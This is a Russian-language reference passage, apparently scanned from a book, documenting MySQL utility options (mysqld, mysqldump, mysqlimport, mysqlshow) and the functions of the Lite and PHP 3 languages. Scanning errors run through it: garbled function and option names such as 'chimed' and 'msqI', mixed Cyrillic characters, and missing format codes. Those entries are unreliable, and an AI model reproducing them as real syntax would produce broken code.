    Разрешить запуск новых (и, возможно, небезопасных) подпрограмм.

    -о, -old-protocol

    Использовать протокол 3.20.x.

    -О variable=value, -set-variable variable=value

    Установить переменные. См. главу 16, где приводится полный список переменных.

    --pid-file=file

    Имя файла, в котором содержится идентификатор процесса (PID) запущенного .сервера. Значение по умолчанию hostname, pid , где hostname - имя серверной машины.

    -P port, -port=port

    Номер используемого сетевого порта.

    -secure

    Разрешение сетевой проверки безопасности, что снижает производительность базы данных.

    -skip-name-resolve

    Использовать для подключения только IP-номера (а не имена). Это увеличивает производительность работы с сетью.

    --skip-networking

    Запретить сетевые подключения и использовать только локальный доступ.

    --skip-thread-priority

    Дать всем потокам одинаковый приоритет.

    -S, -skip-new

    Не разрешать новые (и, возможно, небезопасные) запуски демона.

    -sg

    Запретить проверку прав доступа и дать всем пользователям полный доступ на все базы данных.

    -Sl

    Не выполнять блокировку потоков.

    --socket=file

    Имя файла сокета Unix.

    -Т, --exit-info

    Выводить отладочную информацию при выключении сервера.

    --use-locking

    Разрешить блокировку потоков.

    -v, -V, --version

    Вывести информацию о версии.

    mysqldump

    mysqldump [options] database [table]

    Выдает содержимое указанной базы данных (или таблицы базы данных) в виде серии команд ANSI SQL. Эта команда удобна при разделении базы данных; используйте параметры -1 и -opt.


    Параметры

    -?, --help

    Вывести информацию об использовании утилиты.

    -# debuglevel, --debug=debuglevel

    Установить отладочный уровень. Список всех доступных параметров можно найти по адресу: http://www.turbolift.com/mysql/appendixC.html.

    -add-drop-table

    Вставлять команду DROP TABLE перед каждой командой CREATE TABLE.

    --add-locks

    Обрамлять командой LOCK TABLE команды ввода данных.

    -allow-keywords

    Выводить имена столбцов, которые совпадают с ключевыми словами. Обычно это нежелательно, так как они могут конфликтовать между собой.

    -с, --compleat-insert

    Выводить полные инструкции INSERT.

    -С, --compress

    Использовать сжатие данных при подключении к серверу.

    --delayed

    Использовать INSERT DELAYED при вставке записей.

    -d, --no-data

    Не выводить данные, записывать только операторы создания таблиц.

    -е, --extended-insert

    Использует вариант команды INSERT со множеством вводимых записей, что может ускорить последующий ввод данных.

    -f, --force

    Не выходить из программы при обнаружении ошибки.

    -F, --flush-logs

    Записать на диск данные журнала из буфера перед созданием дампа таблиц(ы).

    --fields-enclosed-by=delimeter

    При дампе с параметром -Т этот разделитель помещается по сторонам каждого поля.

    --fields-escaped-by=delimeter

    При дампе с параметром -Т этот разделитель помещается перед всеми специальными символами в качестве управляющего символа.

    --fields-terminated-by=delimeter

    При дампе с параметром -Т этот разделитель используется после каждого поля (по умолчанию - табуляция).

    -h hostname, --host=hostname

    Подключиться к серверу баз данных на удаленном хосте.

    -l, --lock-tables

    Заблокировать таблицы перед дампом.

    --lines-terminated-by=delimeter

    При дампе с параметром -Т этот разделитель используется после каждой строки.

    -t, --no-create-info

    He выполнять дамп команд описания таблиц, записывать только данные.

    -О variable=value, -set-variable variable=value

    Установить переменную. См. главу 16, где находится полный список используемых переменных.


    --opt

    Добавляет наиболее употребительные и полезные параметры командной строки: --add-drop-table, —add- locks, --extended-insert, --quick и --use-locks.

    -P [password], -password [=password]

    Пароль, используемый для подключения к серверу базы данных. Если не указан аргумент, пароль будет запрошен из командной строки.

    -Р port, -port=port

    Порт, используемый для подключения к удаленному серверу баз данных.

    -q, -quick

    Показывать все данные немедленно, без буферизации.

    -S file, --socket=file

    Сокет Unix, используемый для локального подключения к серверу.

    -Т directory, --tab=directory

    Генерирует файл с символом табуляции в качестве разделителя, куда помещаются данные, одновременно с файлом, содержащим SQL-команды, описывающие создание таблицы. Файлы записываются в указанный каталог.

    -u username, --user=username

    Имя пользователя, используемое при подключении к серверу баз данных.

    -v, --verbose

    Показать информацию о состоянии процесса, пока происходит создание дампа данных.

    -V, -version

    Показать информацию о версии.

    -w statement, --where=statement

    Выводить только записи, удовлетворяющие заданному SQL-выражению WHERE.

    mysqlimport

    mysqlimport [options] database [file]

    Читает файл данных, который может иметь несколько форматов (таких как файл с запятыми-разделителями или файл с фиксированной шириной столбцов), и вставляет данные в базу данных. В базе данных необходима таблица с тем же, что и у файла, именем, которая должна иметь достаточное количество столбцов с подходящими типами для хранения данных.

    Параметры

    -?, --help

    Выдать информацию по использованию утилиты.

    -# debuglevel, -debug=debuglevel

    Установить отладочный уровень. Список всех доступных параметров можно найти по адресу: http://www.turbolift.com/mysql/appendixC.html.

    -d, --delete

    Удалить все данные, содержащиеся в таблице, перед вводом новых данных.

    -f, --force

    Не выходить из программы, если обнаружена ошибка

    --fields-terminated-by=string

    Указывает, что поля в файле данных заканчиваются символами, указанными в string.


    --fields-enclosed-by=string

    Указывает, что поля в файле данных с двух сторон заключены в символы string.

    --fields-optionally-enclosed-by=string

    Указывает, что поля в файле данных могут обрамляться (не обязательно) с двух сторон и другими указанными в string символами.

    --fields-escaped-by=string

    Заданное значение string используется в файле данных как управляющий символ.

    -h hostname, --host=hostname

    Подключиться к серверу баз данных на удаленном хосте.

    -I, --ignore

    Игнорировать новые данные, если они конфликтуют с существующим уникальным ключом.

    -l, --lock-tables

    Заблокировать таблицы перед вставкой данных.

    -р [password], --password[=password]

    Пароль, используемый для подключения к серверу базы данных. Если не указан аргумент, пароль запрашивается из командной строки.

    -Р port, --port=port

    Порт, используемый для подключения к удаленному серверу баз данных.

    -r, --replace

    Если новые данные конфликтуют с существующим уникальным ключом, старые данные заменяются.

    -s, --silent

    Не показывать некоторые результаты.

    -S file, -socket=file

    Сокет Unix, используемый для локального подключения к серверу.

    -u username, --user=username

    Имя пользователя, используемое при подключении к серверу баз данных.

    -v, --verbose

    Показать информацию о состоянии процесса, пока происходит вставка данных.

    -V, -version

    Показать информацию о версии.

    mysqlshow

    mysqlshow [options] [database] [table] [field]

    Показывает структуру указанной базы данных, таблицы или поля. Если не заданы аргументы, выдается список всех баз данных. С одним аргументом будет выдана информация о структуре указанной базы. С двумя аргументами программа выдаст информацию об указанной таблице. Если указать все три элемента, будет показана информация об отдельном указанном поле таблицы.

    Параметры

    -?, -help

    Выдать справку по использованию утилиты.

    -# debuglevel, --debug=debuglevel

    Установить отладочный уровень. Список всех доступных параметров можно найти по адресу: http://www.turbolift.com/mysql/appen-dixC.html.


    -h hostname, --host=hostname

    Подключиться к удаленному серверу баз данных.

    -k, --keys

    Показать ключи таблицы.

    -Р [password], -password]=password]

    Пароль, используемый для подключения к серверу базы данных. Если не указан аргумент, пароль запрашивается из командной строки.

    -Р port, --port=port

    Порт, используемый для подключения к удаленному серверу баз данных.

    -S file, --socket=file

    Сокет Unix, используемый для локального подключения к серверу.

    -и username, --user=username

    Имя пользователя, используемое при подключении к серверу баз данных.

    -V, --version

    Показать информацию о версии.



    Lite

    Lite - это язык сценариев, используемый W3-mSQL. Его синтаксис очень похож на С и еще больше на Perl. Фактически, многие скрипты Lite синтаксически неотличимы от сценариев Perl. Однако Lite лишен многих расширенных возможностей Perl.

    Ниже приводится краткий справочник стандартных функций Lite, доступных при использовании W3-mSQL.

    chdir

    $result = chdir($path)

    Изменяет каталог на указанный путь. Если операцию произвести не удалось, возвращается отрицательное целое число.

    chmod

    $result = chmod($filename, $mode)

    Изменяет режим указанного файла на значение, заданное в mode. Если операцию произвести не удалось, возвращается отрицательное целое число. Значение mode может быть задано как десятичное, восьмеричное или шестнадцатеричное.

    chop

    $string = chop($string)

    Возвращает строку, у которой удален последний символ. Это весьма удобно для удаления символа конца строки из строк, прочитанных функцией read In.

    close

    close ($fd)

    Закрывает файл, связанный с указанным файловым дескриптором.

    ctime

    $time = ctime($time)

    Преобразует время time, заданное некоторым числом секунд с начала отсчета, в обычное текстовое представление времени Unix.

    echo

    echo($string)

    Печатает заданную строку. Все переменные в строке заменяются на их значения.

    fprintf

    fprintf($fd, $string [, arg ...])

    Работает как функция С (или Perl) с тем же именем. Первый аргумент - это файловый дескриптор. Отформатированная строка печатается в файл, связанный с файловым дескриптором.

    gethostbyaddr

    $hostinfo = gethostbyaddr($address)

    Возвращает тот же массив, что и gethostbyname() для указанного IP-адреса. IP-адрес должен быть задан десятичной строкой типа "127.0.0.1". В официальной документации к W3-mSQL эта функция называется и gethostbyaddr , и gethostbyaddress . На момент написания этих строк gethostbyadd ress не было среди функций W3-mSQL.

    gethostbyname

    $hostinfo = gethostbyname($host)

    Возвращает массив информации об указанном хосте. Первый элемент массива - это имя хоста, второй элемент - это его IP-адрес.


    getpid

    $pid = getpid()

    Возвращает идентификатор процесса (PID) программы Lite.

    getpwnam

    $entry = getpwnam($username)

    Возвращает массив информации о пользователе с пользовательским именем username . В массиве имеются следующие поля:

  • Имя пользователя.

  • Пароль.

  • UID.

  • GID.

  • GECOS (полное имя и другая дополнительная информация).

  • Домашний каталог.

  • Оболочка.

    getpwuid

    $entry = getpwuid($UID)

    Возвращает массив, идентичный массиву, возвращаемому getpwnam для пользователя с пользовательским ID $UID.

    includeFile

    includeFile($filename)

    Эта функция подключает файл filename к результату программы. Файл никак не изменяется и не анализируется.

    kill

    $result = kill($pid, $signal)

    Посылает сигнал signal процессу pid. Если операцию выполнить не удалось, возвращается отрицательное целое число.

    link

    $result = link($file, $newlinkname)

    Создает "жесткую" ссылку от file к newlinkname . Если операцию совершить не удалось, возвращается отрицательное целое число.

    mkdir

    $result = mkdir($directoryname)

    Создает каталог с указанным именем. Если операцию выполнить не удалось, возвращается отрицательное целое число.

    msqIConnect

    $socket = msqlConnect($host)

    Подключается к серверу mSQL на хосте host. Возвращает номер соке-та, используемый для последующей связи с сервером баз данных. При неудаче возвращается отрицательное целое число.

    msqICIose

    msqlClose($socket)

    Закрывает подключение, указанное сокетом socket.

    msqIDataSeek

    msqlDataSeek($result, $location)

    Помещает 'указатель' для result среазу перед записью. Указав location 0, вы поместите указатель в начало данных. Следующий вызов msqlFetchRow выберет строку сразу после location.

    msqlEncode

    $string = msqlEncode($string)

    Функция возвращает перекодированную копию строки string, которую можно использовать в запросе mSQL.

    msqlFetchRow

    $row = msqlFetchRow($result)

    Эта функция возвращает в виде массива следующую доступную запись из result.

    msqIFieldSeek

    msqlFieldSeek($result, Slocation)


    Функция изменяет 'указатель' на результат, возвращаемый msqllnitFieldList, так же как msqIDataSeek изменяет результат msqlStoreResult . ..



    msqIFreeResult

    msqlFreeResult($result)

    Функция освобождает всю память, использованную результатом, выбранным из базы с помощью msqlStoreRcsult . Эту функцию необходимо вызывать для каждого результата, с которым вы закончили работать.

    msqllnitFieldList

    $result = msqlInitFieldList($socket, $database, $table)

    Создает информационную таблицу о таблице table в базе данных database на сервере, указанном аргументом socket.

    msqIListDBs

    $databases = msqlListDBs($socket)

    Возвращает массив имен всех доступных баз данных на сервере, указанном аргументом socket.

    msqIListField

    $tableinfo = msqlListField($result)

    Возвращает массив информации о следующем поле таблицы, созданной msqllnitFieldList , указываемой аргументом result. Каждый последующий вызов функции msqIListField выдает новый массив информации, пока не закончатся поля таблицы. Массив состоит из следующих полей:

  • Имя поля

  • Имя таблицы

  • Тип таблицы

  • Длина

  • Флаги

    msqIListTables

    $tables = msqlListTables($socket, $database)

    Возвращает массив имен доступных таблиц базы данных database на сервере, указанном аргументом socket.

    msqINumRows

    msqlNumRows($result)

    Возвращает количество записей в данных, содержащихся в result.

    msqIQuery

    $result = msqlQuery($socket, $query)

    Пытается послать запрос query к подключению, указанному аргументом socket. Если запрос не был успешно выполнен, возвращается отрицательное целое число.

    msqISelectDB

    $result = msqlSelectDB($socket, $database)

    Функция пытается подключить socket к базе данных, указанной аргументом database . Если попытка не удалась, возвращается отрицательное целое число.

    msqIStoreResult

    $result = msqIStoreResult

    Выбирает все данные, полученные в результате последнего вызова msqlQuery , и сохраняет их для чтения и обработки.

    open

    $fd = open($file, $mode)

    Эта функция открывает указанный файл, используя заданный режим, и связывает с файлом файловый дескриптор. Режимы могут быть следующими:


    > Открыть файл для записи

    <Открыть файл для чтения

    <> Открыть файл для чтения или записи

    <Р Создать именованный канал и открыть его для чтения

    >Р Создать именованный канал и открыть его для записи

    <| Выполнить файл как команду и прочесть результаты

    >| Выполнить файл как команду и сделать запись в процесс

    pid

    $pid = getppid()

    Возвращает идентификатор (PID) родительского для программы Lite процесса.

    printf

    printf($string [, arg, ... ])

    Работает как функция С (или Perl) с тем же именем. Значение переменных не подставляется; для ввода переменных в строку необходимо использовать стандартное для С форматирование '%s'.

    read

    $data = read($fd, $length)

    Читает указанное в length число байт из заданного файлового дескриптора.

    readln

    $line =readln($fd)

    Читает следующую строку из указанного файлового дескриптора.

    readtok

    $data = readtok($fd, $token)

    Функция читает данные из указанного файлового дескриптора, пока не встретит маркер token. Используется только первый символ из token.

    rename

    $result = rename($oldname, $newname)

    Функция пытается переименовать указанный файл (или каталог) из oldname в newname . Если операцию совершить не удалось, возвращается отрицательное целое число.

    rmdir

    $result = rmdir($path)

    Функция пытается удалить указанный каталог. Если операцию совершить не удалось, возвращается отрицательное целое число.

    setContentType

    setContentType($string)

    Заменяет заданный по умолчанию тип содержимого HTML-страницы, содержащей скрипт, на значение, указанное в string. Эта функция должна быть самой первой строкой документа. Перед ней не должно быть даже пустой строки.

    sleep

    sleep($time)

    Останавливает работу программы на указанное количество секунд.

    split

    $strings = split($string, $token)

    Разделяет заданную строку на массив строк, используя как разделитель символ token..

    stat

    $stat = stat($file)

    Возвращает массив информации о файле file. В массиве содержатся следующие элементы:


  • Номер inode.

  • Режим файла.

  • Количество ссылок на файл.

  • UID.

  • GID.

  • Размер файла.

  • Atime.

  • Mtime.

  • Ctime.

  • Размер блока файловой системы (в байтах).

  • Количество используемых блоков файловой системы.

    strftime

    $time = strftime($format, $time)

    Преобразует время Unix в текстовое представление времени, используя заданный формат format. Все описанные ниже последовательности в строке format заменяются на соответствующие им значения:



    День недели в виде местных сокращений названий дней недели.



    День недели в виде местных полных названий дней недели.

    %b

    Месяц в виде местных сокращенных названий.



    Месяц в виде местных полных названий месяцев.

    %d

    День месяца (01-31).

    %D

    День в виде % m/% d/% у.



    День месяца (1-31, перед числами первого десятка добавляется пробел).



    Час (00-23).

    %I

    Час (00-12).

    %j

    День в году (001-366).

    %h

    Часы (0-23, отделенные пробелами).

    %l

    Часы (1-12, отделенные пробелами).

    %m

    Номер месяца (01—12).

    %M

    Минуты (00-59).



    AM или РМ.

    %S

    Секунды (00-59).



    Время в виде % Н:% М:% S.

    %U

    Номер недели в году (01-52).

    %w

    День недели (0-6, воскресенье является 0).

    %y

    Год века (00-99).

    %Y

    Год, включая век (например 1999).

    strseg

    $string = strseg($string, $start, $end)

    Возвращает подстроку из указанной строки, которая начинается с позиции start и закачивается на позиции end от начала строки.

    sub

    $string = sub($string, $ехр1, $ехрr2)

    Заменяет любые вхождения exprl в string на значение ехрг2. Значения exprl и ехрг2 могут быть разными по длине, строка string автоматически будет укорочена либо удлинена.

    substr

    $string = substr($string1, $regexp, $string2)

    Находит подстроку в строке string"!, которая отвечает регулярному выражению regexp. Каждой части регулярного выражения, заключенной в скобки, присваивается переменная $1, $2, $3 и т. д., содержащая результат совпадения, если оно было найдено. Возвращается значение string2 , с расширенными переменными (включая $1, $2, $3 и т. д.).


    tr

    $string = tr($string, $list1, $list2)

    Функция замещает все символы из списка listl, которые находит в строке string, их эквивалентом в списке list2 (например, tr("Robby", "oy", "ai") вернет строку "Rabbi"). Список символов может содержать диапазон символов, разделенный "-". В частности, tr("e.e. cummings", "a-z," "A-Z") вернет строку "E.E. CUMMINGS."

    truncate

    $result = truncate($fale, $length)

    Функция пытается сократить размер файла до указанной в байтах длины length . Обычно используется для создания файла с нулевой длиной. Если попытка не удалась, вернется отрицательное целое число.

    umask

    umask($mask)

    Устанавливает umask текущего процесса в заданное значение mask, которое может быть десятичным, восьмеричным или шестнадцатерич-ным.

    unixtime2*

    $year = unixtime2year($time)

    $month = unixtime2month($time)

    $day = unixtime2day($time)

    $hour = unixtirne2hour($time)

    $min = unixtime2min($time)

    $sec = unixtime2sec($time)

    Данные функции берут в качестве аргумента значение времени в формате Unix и возвращают запрашиваемое значение. Например, функция unixtime2day(time()) может вернуть текущий день месяца (значение от 1 до 31).

    unlink

    $result = unlink("filename")

    Удаляет указанный файл. Если удалить файл не удалось, возвращается отрицательное целое число.

    urIEncode

    $string = urlEncode($string)

    Эта функция возвращает копию строки string , которая перекодирована для безопасной вставки в URL.

    PHP

    Здесь вы найдете краткое справочное руководство по РНР. Список приведенных функций относится к РНР 3. Описаны те функции, которые работают с MySQL и mSQL, но пропущены функции для работы с другими серверами баз данных, такими как Ababas D, dbm, Oracle и PostgreSQL.

    abs

    $pos_num = abs($number);

    Abs возвращает абсолютное значение аргумента number.

    addslashes

    $escaped_string = addslashes($string); .

    Возвращает копию строки string , в которой экранированы все символы $ \ или '.

    asort

    $sorted_array = asort($array);

    Возвращает отсортированную копию ассоциативного массива array, asort работает только с ассоциативными массивами. Для сортировки обычных массивов используйте sort. Если первый элемент массива является числом, возвращаемый массив будет отсортирован по порядку, иначе он будет отсортирован по алфавиту.

    bindec

    $decimal = bindec($binary);

    Функция возвращает десятичный эквивалент указанного двоичного числа binary.

    ceil

    $higher_integer = ceil($number);

    Округляет заданное число до следующего целого числа и возвращает результат как число с плавающей запятой.

    chdir

    chdir($directory);

    Изменяет текущий рабочий каталог на каталог, заданный аргументом.

    chgrp

    chgrp($file,Sgroupj;

    Изменяет идентификатор группы заданного файла на группу, указанную в аргументе.

    chimed

    chimed($file,$permissions);

    Функция изменяет права доступа к файлу на указанные в аргументе permissions . Этот аргумент задается в восьмеричном виде.

    chown

    chown($file, Sowner);

    Изменяет владельца заданного файла на указанного в аргументе owner. Эта функция будет работать только в том случае, если РНР выполняется от имени суперпользователя, что обычно не рекомендуется.

    chop

    $stripped_string = chop($string);

    Возвращает строку string , у которой удалены все имевшиеся концевые пробелы, табуляции и символы новой строки.

    chr

    $character = chr($number);

    Возвращает символ ASCII, соответствующий заданному числовому аргументу. Шестнадцатеричные и восьмеричные числа обозначаются как 0xff и 077 соответственно. Остальные числа считаются десятичными.


    clearstack

    clearstack();

    Очищает текущий стек. Эта функция создана специально, чтобы обойти некоторые ограничения в дизайне РНР. Если у вас есть пользовательская функция, содержащая большой цикл, вы можете столкнуться с проблемами, связанными с нехваткой стекового пространства. Если это происходит, вызовите clearstack() из этого цикла. Недостаток данного метода в том, что вашу функцию невозможно будет вызвать из другой функции. Результат функции следует сохранить в переменной, которая может быть затем использована по вашему усмотрению.

    clearstatcache

    clearstatcache();

    Очищает кэш, используемый всеми функциями, которые получают информацию о файлах. Так как доступ к такой информации занимает достаточно много времени, РНР хранит ее в кэше. Если вам необходи-ма уверенность, что используете самую свежую информацию о файле (то есть не кэшированную), вызовите функцию clearstatcache(); перед получением этой информации.

    closedir

    closed!r($directorу);

    Закрывает каталог, открытый функцией opendir.

    closelog

    closelog();

    Останавливает всю журнализацию, выполняемую функцией syslog .

    COS

    $result = cos($number);

    Возвращает косинус аргумента number.

    count

    $number = count($array);

    Возвращает число элементов в массиве array. Если переменная не является массивом, функция вернет значение 1 (так как переменная подобна массиву с только одним элементом). Если аргумент array не указан, функция вернет 0.

    crypt

    $encrypted_string = crypt($string);

    $encrypted_string = crypt($string, $salt);

    Шифрует заданную строку. Используется стандартный метод шифрования Unix - DES, тот же, что используется для шифрования паролей и т. д. Можно задать необязательный двухсимвольный аргумент salt (база для шифрования).

    date

    $formatted_date = date($format,$time);

    Вернет time (стандарное время Unix, выдаваемое функцией Time), отформатированное в указанный format. Возвращаемое значение имеет тот же вид, что и format, где все указанные ниже символы заменены на соответствующие значения:


    А АМ/РМ

    a am/pm

    D День (например Sun)

    d День (например 13)

    F Месяц (например February)

    Н Час в 24-часовом формате (например 17)

    h Час в 12-часовом формате (например 5)

    i Минуты (например 30)

    l День (например Sunday)

    М Месяц (например Feb)

    m Месяц (например 02)

    s Секунды (например 27)

    Y Год (например 1998)

    у Год (например 98)

    U Секунды с начала эпохи (отсчета) (например 803537321)

    Z День года (например 154)

    dblist

    $db_info = dblist();

    Вернет список СУБД, поддерживаемых РНР.

    decbin

    $binary = decbin($decimal);

    Возвращает двоичный эквивалент указанного десятичного числа.

    dexhex

    $hex = dechex($decimal);

    Возвращает шестнадцатеричный эквивалент указанного десятичного числа.

    decoct

    $octal = decoct($decimal);

    Возвращает восьмеричный эквивалент указанного десятичного числа.

    doubleval

    $double = doubleval($variable);

    Возвращает значение переменной в виде числа с плавающей запятой.

    echo

    echo [format_string] expression [, expression ...]

    He является настоящей функцией, скорее, это встроенная в РНР версия функции printf языка С. В самом простом варианте echo напечатает результат выражения expression . Можно указать до пяти выражений, результат каждого из которых будет напечатан по очереди. Также можно указать строку форматирования, которая должна иметь тот же вид, что и в функции printf языка С или Perl.

    end

    end($array);

    Устанавливает внутренний указатель массива array на последний элемент массива.

    ereg

    $result = ereg($expression, $string);

    $result = ereg($expression, $string, $match_array);

    Вернет true, если строка string отвечает регулярному выражению в expression . Если в качестве третьего аргумента указан массив, значение, отвечающее выражению, будет помещено в массив.

    eregi

    $result = eregi($expression, $string);

    $result = eregi($expression, Sstring, $match_array);

    Идентично ereg, за исключением того, что при сравнении игнорируется регистр.

    ereg_replace

    ereg_replace($expression, $replacement_string, $string);


    Замещает все части в указанной строке string , которые отвечают выражению expression , строкой replacement_string.

    eregi_replace

    eregi_replace($expression, $replacement_string, $string);

    Идентично ereg_replace, за исключением того, что при сравнении игнорируется регистр.

    escapeshellcmd

    $safe_string = escapeshellcmd(Sstring);

    Возвращает копию строки string, все спецсимволы которой перекодированы так, что строку можно безопасно использовать с функциями exec или system.

    eval

    eval($string);

    Обрабатывает содержимое строки string таким образом, как если бы это был скрипт РНР. Для строки выполняется подстановка переменных, поэтому, если вы хотите использовать переменную в этом "минискрипте", ее следует заэкранировать.

    exec

    $last_line = exec($command);

    $last_line = exec($command, $output_array);

    $last_line = exec($command, $output_array, $return_code);

    Выполняет в вызываемой подоболочке Unix команду command . Возвращается только последняя строка результата команды. Если вторым аргументом указан массив, все строки, выводимые командой, будут помещены в него. Если есть третий аргумент, в эту переменную записывается код возврата команды.

    exit

    exit();

    Завершение синтаксического анализа HTML-файла.

    ехр

    $result = exp($number);

    Возвращает число е, возведенное в указанную степень.

    fclose

    fclose($fd);

    Закрывает файл, открытый fopen.

    feof

    $result = feof($fd);

    Возвращает true, если файловый дескриптор fd находится в конце файла.

    fgets

    $line = fgets($fd, $max_bytes);

    Возвращает следующую строку (длиной до max_bytes ) из файла, на который указывает fd.

    fgetss

    $line = fgetss($fd, $max_bytes);

    Идентична fgets за исключением того, что эта функция пытается удалить любые теги HTML или РНР при чтении файла.

    file

    $аггау = file($filename);

    Возвращает массив, каждый элемент которого содержит строку файла, указанного в filename.

    fileatime

    $time = fileatime($filename);

    Возвращает (в стандартном формате времени Unix) время последнего доступа к файлу filename . Если эта информация по каким-либо причинам не может быть получена, функция возвращает — 1.


    filectime

    $time = filectime($filename);

    Возвращает время ( в стандартном формате времени Unix) последнего изменения статуса файла filename . Если эта информация по каким-либо причинам не может быть получена, функция возвращает -1.

    filegroup

    $group_id = filegroup($filename);

    Возвращает идентификатор группы файла. Если эта информация по каким-либо причинам не может быть получена, функция возвращает -1.

    fileinode

    $inode = fileinode($filename);

    Возвращает индексный дескриптор файла filename . Если эта информация по каким-либо причинам не может быть получена, функция возвращает -1.

    filemtime

    $time = filemtime($filename);

    Возвращает время (в стандартном формате времени Unix) последнего изменения файла filename . Если эта информация по каким-либо причинам не может быть получена, функция возвращает -1.

    fileowner

    $owner = fileowner($filename);

    Возвращает ID владельца файла. Если эта информация по каким-либо причинам не может быть получена, функция возвращает -1.

    fileperms

    $permissions = fileperms($filename);

    Возвращает права доступа к указанному в filename файлу. Если эта информация по каким-либо причинам не может быть получена, функция возвращает —1.

    filesize

    $size = filesize($filename);

    Возвращает размер файла в байтах. Если эта информация по каким-либо причинам не может быть получена, функция возвращает -1.

    filetype

    $type = filetype($filename);

    Возвращает одно из следующих значений, указывающих на тип файла

    filename : dir, file, fifo, char, block или link.

    floor

    $lower_integer = floor($number);

    Округляет число number до ближайшего меньшего целого и возвращает результат в виде числа с плавающей запятой.

    flush

    flush();

    Сбрасывает содержимое буфера на стандартный вывод, так что конечный пользователь сразу видит все результаты.

    fopen

    $fd = fopen($filename, $mode);

    Открывает файл в режиме mode и возвращает указатель на дескриптор, связанный с открытым файлом. Как и в функции fopen языка С, режим может быть одним из следующих: "r", "r+", "w", "w+", "a", "а+". Функция возвращает -1, если файл невозможно открыть.


    fputs

    fputs($fd, $string);

    Записывает строку string в файл, связанный с дескриптором fd.

    fpassthru

    fpassthru($fd);

    Печатает все оставшиеся данные файла, на который указывает дескриптор fd.

    fseek

    fseek($fd, $position);

    Устанавливает дескриптор файла fd на позицию (смещение от начала файла), указанную в аргументе position.

    fsockopen

    $fd = fsockopen($hostname,$port);

    Открывает соединение с hostname на порте port и возвращает дескриптор файла, связанный с открытым соединением. Если номер порта равен 0, аргумент hostname будет рассматриваться как имя в стиле имени файла сокета Unix на локальном хосте. В случае ошибки функция вернет следующие значения: -3, если не удалось создать сокет; —4, если не удалось разрешить имя хоста (установить IP-адрес); —5, если в соединении было отказано или оно закончилось по тайм-ауту; -6, если потерпел неудачу вызов fdopen() и, наконец, -7, если потерпел неудачу вызов setvbuf().

    ftell

    Sposition = ftell($fd);

    Возвращает позицию указателя в файле, связанном с fd. Это значение можно использовать в качестве аргумента для fseek.

    getaccdir

    $directory = getaccdir();

    Возвращает имя каталога, где хранятся файлы конфигурации РНР.

    getenv

    $value = getenv($variable);

    Возвращает значение переменной окружения, указанной в variable .

    gethostbyname

    Saddress = gethostbyname($hostname);

    Возвращает IP-адрес указанного в hostname хоста.

    gethostbyaddr

    $hostname = gethostbyaddr($address);

    Возвращает имя хоста по указанному IP адресу.

    getimagesize

    $file_info_array = getimagesize($filename);

    Возвращает массив информации о графическом изображении в указанном filename. Первый элемент массива- ширина изображения, второй - высота, и третий - тип рисунка. В настоящее время распознаются типы GIF, JPG и PNG. Четвертым элементом является строка формата "width=xxx height=yyy", которая может непосредственно использоваться в теге HTML .

    getlastaccess

    $time = getlastaccess();

    Возвращает дату и время (в стандартном формате Unix) последнего обращения к странице. Эта функция будет работать, только если РНР был откомпилирован с опцией регистрации доступа.


    getlastbrowser

    $browser = getlastbrowser();

    Возвращает идентификационную строку броузера, использованного при последнем обращении к текущей странице. Эта функция работает, только если РНР был откомпилирован с опцией регистрации доступа.

    getlastemail

    $email = getlastemail();

    Возвращает адрес электронной почты пользователя, который последним обращался к странице. Эта функция работает, только если РНР был откомпилирован с опцией регистрации доступа.

    getlasthost

    $host = getlasthost();

    Возвращает имя хоста, с которого было сделано последнее обращение к странице. Эта функция работает, только если РНР был откомпилирован с опцией регистрации доступа.

    getiastmod

    $time = getlastmod();

    Возвращает время (в стандартном формате времени Unix) последнего изменения страницы. Эта функция работает, только если РНР был откомпилирован с опцией регистрации доступа.

    getlastref

    $url = getlastref();

    Возвращает URL узла, с которого пришел последний посетитель страницы. Эта функция работает, только если РНР был откомпилирован с опцией регистрации доступа.

    getlogdir

    $directory = getlogdir();

    Возвращает каталог, в котором находятся журналы регистрации РНР.

    get my in ode

    $inode = getmyinode();

    Возвращает указатель inode HTML-файла, содержащего текущий скрипт РНР.

    getmypid

    $pid = getmypid();

    Возвращает идентификатор текущего РНР-процесса.

    getmyuid

    $id = getmyuid();

    Возвращает идентификатор пользователя владельца HTML-файла, содержащего текущий скрипт.

    getrandmax

    $number = getrandmax();

    Возвращает максимально возможное число, которое может вернуть функция rand.

    getstartlogging

    $time = getstartlogging();

    Возвращает время (в стандартном формате Unix) начала регистрации на странице HTML, которая содержит текущий скрипт.

    gettoday

    $hits = gettoday();

    Возвращает число обращений к данной странице, начиная с 0 часов текущих суток.

    gettotal

    $hits = gettotal();

    Возвращает общее число обращений к текущей странице с начала регистрации доступа к странице.


    gettype

    $type = gettype($variable);

    Возвращает одно из следующих значений: "integer", "double" или "string", указывающих на тип заданной переменной variable .

    gmdate

    $formatted_date = gmdate($format, $time);

    Идентично Date за исключением того, что для обработки значений используется время по Гринвичу (GMT) вместо местного времени.

    header

    header($header_string);

    Выводит header_string как HTTP-заголовок. Эта функция должна использоваться перед любым HTML-текстом в файле и перед любыми командами РНР, которые выдают какой-либо результат.

    hexdec

    $decimal = hexdec($hex);

    Возвращает десятичный эквивалент шестнадцатеричного аргумента hex.

    htmlspecialchars

    $html_string = htmlspecialchars($string);

    Возвращает строку string, заменяя любые специальные символы (включая <, >, &, " и все ASCII-символы с кодами от 160 до 255) на соответствующие им HTML-коды.

    imagearc

    imagearc($image, $сх, $су, $width, $height, $start, $end, $color);

    Рисует сектор эллипса в изображении image цветом, указанным в color. Центр эллипса находится в точке (сх, су), ширина указана аргументом width, высота- height, начальная и конечная точки указываются в градусах аргументами start и end соответственно.

    imagechar

    imagechar($image, $size, $x, $y, $character, $color);

    Рисует символ character в изображении image цветом, назначенным в color, с размером шрифта size. Левый верхний угол символа находится в точке (х, у).

    imagecharup

    imagecharup($image, $size, $x, $y, $character, $color);

    Функция идентична imagechar за исключением того, что символ выводится вертикально, (х, у) указывают на координаты верхнего левого угла.

    imagecolorallocate

    $color = imagecolorallocate($image, $red, $green, $blue);

    Возвращает цвет для работы с изображением image, используя указанные RGB-компоненты.

    imagecolortransparent

    imagecolortransparent($image, $color);

    Устанавливает color как прозрачный цвет для изображения image.

    imagecopyresized


    imagecopyresized($dest_image, $src_image, $dest_x, $dest_y, $src_x, $src_y, $dest_width, $dest_heigth, $src_width, $src_heigth);

